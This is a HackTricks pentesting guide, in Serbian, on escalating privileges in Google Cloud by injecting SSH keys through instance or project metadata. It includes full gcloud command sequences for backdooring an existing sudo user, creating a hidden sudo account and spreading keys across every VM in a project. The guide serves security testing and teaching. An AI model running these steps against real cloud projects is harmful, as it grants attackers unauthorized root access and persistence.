# GCP - Dodavanje prilagođenih SSH metapodataka

## GCP - Dodavanje prilagođenih SSH metapodataka

{{#include ../../../../banners/hacktricks-training.md}}

### Modifikacija metapodataka <a href="#modifying-the-metadata" id="modifying-the-metadata"></a>

Modifikacija metapodataka na instanci može dovesti do **značajnih bezbednosnih rizika ako napadač dobije potrebne dozvole**.

#### **Uključivanje SSH ključeva u prilagođene metapodatke**

Na GCP-u, **Linux sistemi** često izvršavaju skripte iz [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts). Kritična komponenta ovoga je [accounts daemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts), koji je dizajniran da **redovno proverava** krajnju tačku metapodataka instance za **ažuriranja autorizovanih SSH javnih ključeva**.

Stoga, ako napadač može da modifikuje prilagođene metapodatke, mogao bi da natera daemon da pronađe novi javni ključ, koji će biti obrađen i **integrisan u lokalni sistem**. Ključ će biti dodat u `~/.ssh/authorized_keys` datoteku **postojećeg korisnika ili potencijalno kreirati novog korisnika sa `sudo` privilegijama**, u zavisnosti od formata ključa. I napadač će moći da kompromituje host.

#### **Dodavanje SSH ključa postojećem privilegovanom korisniku**

1. **Istražite postojeće SSH ključeve na instanci:**

- Izvršite komandu da opišete instancu i njene metapodatke kako biste locirali postojeće SSH ključeve. Relevantni deo u izlazu biće pod `metadata`, posebno ključ `ssh-keys`.

```bash
gcloud compute instances describe [INSTANCE] --zone [ZONE]
```

- Obratite pažnju na format SSH ključeva: korisničko ime prethodi ključevi, odvojeni dvotačkom.

2. **Pripremite tekstualnu datoteku za SSH ključ metapodatke:**
- Sačuvajte detalje korisničkih imena i njihovih odgovarajućih SSH ključeva u tekstualnu datoteku pod imenom `meta.txt`. Ovo je neophodno za očuvanje postojećih ključeva dok dodajete nove.
3. **Generišite novi SSH ključ za ciljanog korisnika (`alice` u ovom primeru):**

- Koristite komandu `ssh-keygen` da generišete novi SSH ključ, osiguravajući da polje komentara (`-C`) odgovara ciljanom korisničkom imenu.

```bash
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
```

- Dodajte novi javni ključ u `meta.txt`, imitujući format koji se nalazi u metapodacima instance.

4. **Ažurirajte metapodatke SSH ključeva instance:**

- Primijenite ažurirane metapodatke SSH ključeva na instancu koristeći komandu `gcloud compute instances add-metadata`.

```bash
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
```

5. **Pristupite instanci koristeći novi SSH ključ:**

- Povežite se na instancu putem SSH koristeći novi ključ, pristupajući shell-u u kontekstu ciljanog korisnika (`alice` u ovom primeru).

```bash
ssh -i ./key alice@localhost
sudo id
```

#### **Kreirajte novog privilegovanog korisnika i dodajte SSH ključ**

Ako nijedan zanimljiv korisnik nije pronađen, moguće je kreirati novog koji će dobiti `sudo` privilegije:
```bash
# define the new account username
NEWUSER="definitelynotahacker"

# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""

# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt

# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt

# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost
```
#### SSH ključevi na nivou projekta <a href="#sshing-around" id="sshing-around"></a>

Moguće je proširiti domet SSH pristupa na više Virtuelnih Mašina (VM) u cloud okruženju primenom **SSH ključeva na nivou projekta**. Ovaj pristup omogućava SSH pristup bilo kojoj instanci unutar projekta koja nije eksplicitno blokirala SSH ključeve na nivou projekta. Evo sažetog vodiča:

1. **Primena SSH ključeva na nivou projekta:**

- Koristite komandu `gcloud compute project-info add-metadata` da dodate SSH ključeve iz `meta.txt` u metapodatke projekta. Ova akcija osigurava da SSH ključevi budu prepoznati na svim VM-ovima u projektu, osim ako VM nema omogućenu opciju "Blokiraj SSH ključeve na nivou projekta".

```bash
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
```

2. **SSH u instance koristeći ključeve na nivou projekta:**
- Sa SSH ključevima na nivou projekta, možete SSH u bilo koju instancu unutar projekta. Instance koje ne blokiraju ključeve na nivou projekta će prihvatiti SSH ključ, omogućavajući pristup.
- Direktna metoda za SSH u instancu je korišćenje komande `gcloud compute ssh [INSTANCE]`. Ova komanda koristi vaše trenutno korisničko ime i SSH ključeve postavljene na nivou projekta da pokuša pristup.

## Reference

- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)

{{#include ../../../../banners/hacktricks-training.md}}
